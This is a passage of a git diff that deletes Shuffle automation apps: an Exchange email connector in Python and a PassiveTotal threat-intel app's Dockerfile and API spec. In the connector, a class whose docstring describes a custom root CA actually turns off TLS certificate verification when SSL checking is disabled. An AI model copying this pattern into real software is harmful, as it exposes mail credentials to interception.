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 diff --git a/outlook-exchange/1.0.0/requirements.txt b/outlook-exchange/1.0.0/requirements.txt deleted file mode 100644 index 46de1688..00000000 --- a/outlook-exchange/1.0.0/requirements.txt +++ /dev/null @@ -1,5 +0,0 @@ -cryptography==3.3.2 -exchangelib==3.3.2 -eml_parser==1.14.4 -glom==20.11.0 -requests==2.25.1 diff --git a/outlook-exchange/1.0.0/src/app.py b/outlook-exchange/1.0.0/src/app.py deleted file mode 100644 index 38d8b2cd..00000000 --- a/outlook-exchange/1.0.0/src/app.py +++ /dev/null @@ -1,596 +0,0 @@ -import json -import asyncio -import datetime -import eml_parser -import exchangelib - -from glom import glom -from email.mime.multipart import MIMEMultipart -from email.mime.text import MIMEText - -from exchangelib import ( - DELEGATE, - Account, - Credentials, - Configuration, - Version, - Build, - Mailbox, - Message, - FileAttachment, - ItemAttachment, - HTMLBody, -) -from exchangelib.protocol import BaseProtocol, NoVerifyHTTPAdapter -from walkoff_app_sdk.app_base import AppBase - -import requests -from urllib.parse import urlparse - -class RootCAAdapter(requests.adapters.HTTPAdapter): - """ - An HTTP adapter that uses a custom root CA certificate at a hard coded - location. - """ - - def cert_verify(self, conn, url, verify, cert): - #cert_file = { - # 'example.com': '/path/to/example.com.crt', - # 'mail.internal': '/path/to/mail.internal.crt', - #}[urlparse(url).hostname] - #super().cert_verify(conn=conn, url=url, verify=cert_file, cert=cert) - - super().cert_verify(conn=conn, url=url, verify=False, cert=cert) - -def default(o): - """helpers to store item in json - arguments: - - o: field of the object to serialize - returns: - - valid serialized value for unserializable fields - """ - if isinstance(o, (datetime.date, datetime.datetime)): - return o.isoformat() - if isinstance(o, set): - return list(o) - if isinstance(o, bytes): - return o.decode("utf-8") - - -class Owa(AppBase): - __version__ = "1.0.0" - app_name = "owa" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def authenticate(self, username, password, server, build, account, verifyssl): - """ - Authenticates to Exchange server - """ - - BaseProtocol.USERAGENT = "Shuffle Automation" - if not verifyssl or verifyssl.lower().strip() == "false": - BaseProtocol.HTTP_ADAPTER_CLS = RootCAAdapter - - processed_build = None - if type(build) == str: - try: - processed_build = [int(x) for x in build.split(".")] - if len(build) == 0: - build = None - elif len(build) < 2 or len(build) > 4: - return { - "account": None, - "error": "Build requires at least major and minor version [Eg. 15.1], at most 4 number [Eg. 15.0.1.2345]", - } - except ValueError: - return { - "account": None, - "error": "Build needs to be a sequence of numbers dot separated, not %s" - % build, - } - - try: - credentials = Credentials(username, password) - if processed_build: - version = Version(build=Build(*processed_build)) - config = Configuration( - server=server, credentials=credentials, version=version - ) - else: - config = Configuration(server=server, credentials=credentials) - - account = Account( - account, config=config, autodiscover=False, access_type=DELEGATE - ) - account.root.refresh() - - except (exchangelib.errors.TransportError, Exception) as error: - return { - "account": None, - "error": "Can't connect to Exchange server: %s" % (error), - } - - return {"account": account, "error": False} - - def parse_folder(self, account, foldername): - """ - Parses specific folder and returns proper object - """ - if not foldername: - print("Defaulting to inbox as foldername") - foldername = "inbox" - - foldername = foldername.strip().replace("\\", "/") - folderroot, *foldersubs = foldername.split("/") - - if folderroot.lower() not in ["inbox", "outbox", "sent", "trash", "draft"]: - return { - "success": False, - "folder": None, - "error": "Root folder {} not supported. Valid values are: inbox, outbox, sent, trash, draft".format( - folderroot - ), - } - - if folderroot == "outbox": - folder = account.outbox - elif folderroot == "sent": - folder = account.sent - elif folderroot == "trash": - folder = account.trash - elif folderroot == "draft": - folder = account.draft - else: - folder = account.inbox - - for sub in foldersubs: - folder = folder / sub - - return {"success": True, "folder": folder, "error": False} - - def send_email( - self, - username, - password, - server, - build, - account, - verifyssl, - recipient, - ccrecipient, - subject, - body, - attachments, - ): - if "office365" in server.lower(): - return { - "success": False, - "reason": "Use the Outlook Office365 app to connect to Office365. Basic auth is deprecated.", - } - - # Authenticate - auth = self.authenticate( - username, password, server, build, account, verifyssl - ) - - if auth["error"]: - return { - "success": False, - "reason": auth["error"], - } - - account = auth["account"] - - try: - body = HTMLBody(str(body)) - except Exception as e: - pass - - m = Message( - account=account, - subject=subject, - body=body, - to_recipients=[] - ) - - for address in recipient.split(", "): - address = address.strip() - m.to_recipients.append(Mailbox(email_address=address)) - - file_uids = str(attachments).split() - if len(file_uids) > 0: - for file_uid in file_uids: - attachment_data = self.get_file(file_uid) - file = FileAttachment( - name=attachment_data["filename"], content=attachment_data["data"] - ) - m.attach(file) - - ret = m.send() - print(ret) - - return { - "success": True, - "error": False, - "recipients": recipient, - "subject": subject - } - - def mark_email_as_read( - self, username, password, server, build, account, verifyssl, email_id, foldername="inbox" - ): - - if "office365" in server.lower(): - return { - "success": False, - "reason": "Use the Outlook Office365 app to connect to Office365. Basic auth is deprecated.", - } - - if not foldername: - foldername = "inbox" - - # Authenticate - print(f"Marking {email_id} as read") - auth = self.authenticate( - username, password, server, build, account, verifyssl - ) - - if auth["error"]: - return auth["error"] - - account = auth["account"] - - folder = self.parse_folder(account, foldername) - if folder["error"]: - return folder["error"] - - folder = folder["folder"] - email_id = email_id.strip() - - # Authenticates to Exchange server - try: - email = folder.get(message_id=email_id) - email.is_read = True - email.save() - account.root.refresh() - return {"success": True} - except exchangelib.errors.DoesNotExist as e: - print("ERROR: %s" % e) - return {"success": False, "reason": "Email {} does not exists".format(email_id)} - - def add_category( - self, username, password, server, build, account, verifyssl, email_id, category, foldername="inbox" - ): - - if "office365" in server.lower(): - return { - "success": False, - "reason": "Use the Outlook Office365 app to connect to Office365. Basic auth is deprecated.", - } - - if not foldername: - foldername = "inbox" - - category = [i.strip() for i in category.split(",")] - - # Authenticate - print(f"Adding category {category} to {email_id}") - auth = self.authenticate( - username, password, server, build, account, verifyssl - ) - - if auth["error"]: - return auth["error"] - - account = auth["account"] - - folder = self.parse_folder(account, foldername) - if folder["error"]: - return folder["error"] - - folder = folder["folder"] - email_id = email_id.strip() - - # Authenticates to Exchange server - try: - email = folder.get(message_id=email_id) - email.categories.extend(category) - email.save() - account.root.refresh() - return {"success": True} - except exchangelib.errors.DoesNotExist as e: - print("ERROR: %s" % e) - return {"success": False, "reason": "Email {} does not exists".format(email_id)} - - def delete_email( - self, username, password, server, build, account, verifyssl, email_id - ): - if "office365" in server.lower(): - return { - "success": False, - "reason": "Use the Outlook Office365 app to connect to Office365. Basic auth is deprecated.", - } - - # Authenticate - auth = self.authenticate( - username, password, server, build, account, verifyssl - ) - if auth["error"]: - return auth["error"] - account = auth["account"] - - # Get email and delete - try: - email = account.inbox.get(message_id=email_id) - email.delete() - account.root.refresh() - return {"success": True} - except exchangelib.errors.DoesNotExist: - return {"success": False, "reason": "Email {} does not exists".format(email_id)} - - def move_email( - self, - username, - password, - server, - build, - account, - verifyssl, - email_id, - foldername, - ): - if "office365" in server.lower(): - return { - "success": False, - "reason": "Use the Outlook Office365 app to connect to Office365. Basic auth is deprecated.", - } - - # Authenticate - auth = self.authenticate( - username, password, server, build, account, verifyssl - ) - if auth["error"]: - return { - "success": False, - "reason": auth["error"] - } - account = auth["account"] - - # Parse email destination folder - folder = self.parse_folder(account, foldername) - if folder["error"]: - return { - "success": False, - "reason": folder["error"] - } - folder = folder["folder"] - - # Move email - try: - email = account.inbox.get(message_id=email_id) - email.move(to_folder=folder) - account.root.refresh() - return {"success": True} - except exchangelib.errors.DoesNotExist: - return {"success": False, "reason": "Email {} does not exists".format(email_id)} - - def get_emails( - self, - username, - password, - server, - build, - account, - verifyssl, - foldername, - category, - amount, - unread, - fields, - include_raw_body, - include_attachment_data, - upload_email_shuffle, - upload_attachments_shuffle, - ): - if "office365" in server.lower(): - return { - "success": False, - "reason": "Use the Outlook Office365 app to connect to Office365. Basic auth is deprecated.", - } - - def path_to_dict(path, value=None): - def pack(parts): - return ( - {parts[0]: pack(parts[1:]) if len(parts) > 1 else value} - if len(parts) > 1 - else {parts[0]: value} - ) - - return pack(path.split(".")) - - def merge(d1, d2): - for k in d2: - if k in d1 and isinstance(d1[k], dict) and isinstance(d2[k], dict): - merge(d1[k], d2[k]) - else: - d1[k] = d2[k] - - # Authenticate - auth = self.authenticate( - username, password, server, build, account, verifyssl - ) - if auth["error"]: - return json.dumps({ - "success": False, - "reason": auth["error"] - }) - - account = auth["account"] - - # Parse email folder - folder = self.parse_folder(account, foldername) - if folder["error"]: - return json.dumps({ - "success": False, - "reason": folder["error"] - }) - - folder = folder["folder"] - if type(amount) == str: - try: - amount = int(amount) - except ValueError: - return json.dumps({ - "success": False, - "account": None, - "error": "Amount needs to be a number, not %s" % amount, - }) - - # Get input from gui - unread = True if unread.lower().strip() == "true" else False - category = category.lower().strip() - include_raw_body = True if include_raw_body.lower().strip() == "true" else False - include_attachment_data = ( - True if include_attachment_data.lower().strip() == "true" else False - ) - upload_email_shuffle = ( - True if upload_email_shuffle.lower().strip() == "true" else False - ) - upload_attachments_shuffle = ( - True if upload_attachments_shuffle.lower().strip() == "true" else False - ) - - # Convert of mails in json - emails = [] - ep = eml_parser.EmlParser( - include_attachment_data=include_attachment_data, - include_raw_body=include_raw_body, - ) - - try: - - if category: - folder_filter = folder.filter(is_read=not unread, categories__icontains=category).order_by( - "-datetime_received" - )[:amount] - else: - folder_filter = folder.filter(is_read=not unread).order_by( - "-datetime_received" - )[:amount] - - for email in folder_filter: - output_dict = {} - parsed_eml = ep.decode_email_bytes(email.mime_content) - - if fields and fields.strip() != "": - for field in fields.split(","): - field = field.strip() - merge( - output_dict, - path_to_dict( - field, - glom(parsed_eml, field, default=None), - ), - ) - else: - output_dict = parsed_eml - - # Add message_id as top returned field - output_dict["message_id"] = parsed_eml["header"]["header"]["message-id"][0] - output_dict["message_id"] = output_dict["message_id"].replace("\t", "").strip() - - # Add categories to output dict - output_dict["categories"] = email.categories - - if upload_email_shuffle: - email_up = [{"filename": "email.eml", - "data": email.mime_content}] - - email_id = self.set_files(email_up) - output_dict["email_fileid"] = email_id[0] - - if upload_attachments_shuffle: - atts_up = [] - for attachment in email.attachments: - if type(attachment) == FileAttachment: - if not attachment.name: - attachment.name = "TBD" - - atts_up.append({"filename": attachment.name, "data": attachment.content}) - elif type(attachment) == ItemAttachment: - if not attachment.name: - attachment.name = "TBD" - - atts_up.append({"filename": attachment.name, "data": attachment.item.mime_content}) - else: - continue - - atts_ids = self.set_files(atts_up) - output_dict["attachment_uids"] = atts_ids - - try: - if len(output_dict["body"]) > 1: - output_dict["body"][0]["raw_body"] = output_dict["body"][1]["content"] - except KeyError as e: - print("OK KeyError (1): %s" % e) - except IndexError as e: - print("OK IndexError (1): %s" % e) - - try: - if len(output_dict["body"]) > 0: - output_dict["body"] = output_dict["body"][0] - except KeyError as e: - print("OK KeyError (2): %s" % e) - except IndexError as e: - print("OK IndexError (2): %s" % e) - - try: - del output_dict["attachment"] - except KeyError as e: - print("Ok Error (3): %s" % e) - except IndexError as e: - print("OK IndexError (3): %s" % e) - - print("Appending email") - emails.append(output_dict) - except Exception as err: - return json.dumps({ - "success": False, - "reason": "Error during email processing: {}".format(err) - }) - - print("FINISHED - RETURNING") - message = { - "success": True, - "messages": emails, - } - - print(message) - - return json.dumps(message, default=default) - #json.dumps(message, default=default) - - -# Run the actual thing after we've checked params -def run(request): - action = request.get_json() - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - Owa.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f"Invalid action" - - -if __name__ == "__main__": - Owa.run() diff --git a/passivetotal/1.0.0/Dockerfile b/passivetotal/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/passivetotal/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/passivetotal/1.0.0/api.yaml b/passivetotal/1.0.0/api.yaml deleted file mode 100644 index 679e782c..00000000 --- a/passivetotal/1.0.0/api.yaml +++ /dev/null @@ -1,146 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: passivetotal -description: Passivetotal example app -environment: cloud -tags: - - TI - - Threat intel -categories: - - TI - - Threat intel -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -authentication: - required: true - parameters: - - name: username - description: Username of the user - multiline: false - example: "test@shuffler.io" - required: true - schema: - type: string - - name: apikey - description: apikey to use - multiline: false - example: "ee9618a507fce0b9abb8c6a57e250940qwec76ed0e3fbf304c98372ebbfa72ab" - required: true - schema: - type: string - -actions: - - name: add_artifact - description: Adds an artifact to a project - parameters: - - name: project - description: "The project's ID" - multiline: false - example: "59362b45-d69b-4ab1-bdb5-49c01fa7494d" - required: true - schema: - type: string - - name: artifact - description: "The item to use" - multiline: false - example: "google.com" - required: true - schema: - type: string - - name: tags - description: "The " - multiline: false - example: "malware, ioc, Alexa top 1m" - required: false - schema: - type: string - returns: - schema: - type: string - - name: update_artifact - description: Updates an artifact, e.g. the monitor - parameters: - - name: artifact_id - description: "The artifact to update" - multiline: false - example: "59362b45-d69b-4ab1-bdb5-49c01fa7494c" - required: true - schema: - type: string - - name: monitor - description: "To monitor or not" - multiline: false - example: "true" - required: false - schema: - type: string - - name: tags - description: "The " - multiline: false - example: "malware, ioc, Alexa top 1m" - required: false - schema: - type: string - returns: - schema: - type: string - - name: get_artifact - description: Gets an artifact saved to a project - parameters: - - name: query - description: "The artifact to update" - multiline: true - example: "google.com" - required: true - schema: - type: string - - name: get_alerts - description: Updates a project - parameters: - - name: project_id - description: The project ID to look for - multiline: false - example: "59362b45-d69b-4ab1-bdb5-49c01fa7494d" - required: true - schema: - type: string - - name: artifact_id - description: The artifact ID to look for - multiline: false - example: "59362b45-d69b-4ab1-bdb5-49c01fa7494c" - required: false - schema: - type: string - - name: start - description: "The start time to start searching" - multiline: false - example: "2017-04-01 00:00:00" - required: false - schema: - type: string - - name: end - description: The end time to search from - multiline: false - example: "2017-04-01 00:00:00" - required: false - schema: - type: string - returns: - schema: - type: string - - name: update_project - description: Updates a project - parameters: - - name: data - description: The data to send - multiline: true - example: "{\n\t'project': '59362b45-d69b-4ab1-bdb5-49c01fa7494d'\n\t'name': 'Test project'\n}" - required: false - schema: - type: string - returns: - schema: - type: string -large_image: data:image/jpg;base64,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 diff --git a/passivetotal/1.0.0/requirements.txt b/passivetotal/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/passivetotal/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/passivetotal/1.0.0/src/app.py 